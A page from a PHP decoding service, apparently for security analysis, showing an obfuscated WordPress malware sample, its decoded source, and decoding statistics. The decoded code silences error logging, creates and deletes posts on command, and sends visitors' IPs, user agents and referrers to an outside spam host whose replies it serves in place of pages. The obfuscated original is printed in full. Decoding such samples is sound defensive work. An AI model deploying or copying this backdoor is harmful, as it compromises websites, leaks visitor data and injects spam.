Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('FZZFEuwGEkSP4+/QQkzh8ELM0GL1ZkLMzDr9tG+Q+Sorq4oz6f9Ubz..

Decoded Output download

<?php @ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
$sub = '9';
if (ini_get('allow_url_fopen')) {
    function gets_data_yo($url) {
        $data = file_get_contents($url);
        return $data;
    }
} else {
    function gets_data_yo($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
if (isset($_GET['gettemp'])) {
    $post_data = array('post_title' => "HEREISTITLE", 'post_name' => '59075' . rand(100000000, 900000000), 'post_content' => "HEREISCONTENT", 'post_status' => 'publish', 'post_category' => array());
    $post_id = wp_insert_post($post_data, true);
    $permalink = get_permalink($post_id);
    $testpermalink = explode("/", $permalink);
    $wppage = gets_data_yo($permalink);
    $wppage = str_ireplace($permalink, "#", $wppage);
    if (!wp_delete_post($post_id, true)) {
        wp_delete_post($post_id, true);
    }
    die('<TEMPLATE>' . base64_encode(base64_encode($wppage)) . '</TEMPLATE>');
}
$U = $_SERVER['REQUEST_URI'];
$R = urlencode(@$_SERVER['HTTP_REFERER']);
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $UA = $_SERVER['HTTP_USER_AGENT'];
} else {
    $UA = "";
}
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    $A = trim($tmp[0]);
} else {
    $A = $_SERVER['REMOTE_ADDR'];
}
$alldata = $UA . '|||' . $_SERVER['HTTP_HOST'] . '|||' . $A . '|||' . $R . '|||' . $U . '|||' . $sub;
if (!preg_match('/59075/', $U)) {
    if (preg_match('/work|blog|id|topic|viewtopic|course|colleges|learn|page|forum/', $U)) {
        $URL = 'http://allessayid.com/' . $sub . '/index.php?';
        $alldata = gets_data_yo($URL . 'x=' . base64_encode(base64_encode($alldata)));
        $content = explode("-=+==============+=-", $alldata);
        if (!empty($content[1])) {
            die($content[1]);
        }
    }
}

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode('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')));

Function Calls

urldecode 1
base64_decode 7
gzinflate 5
rawurldecode 1

Variables

None

Stats

MD5 70df5ec0eeb69b624c3c1852e185af7d
Eval Count 7
Decode Time 530 ms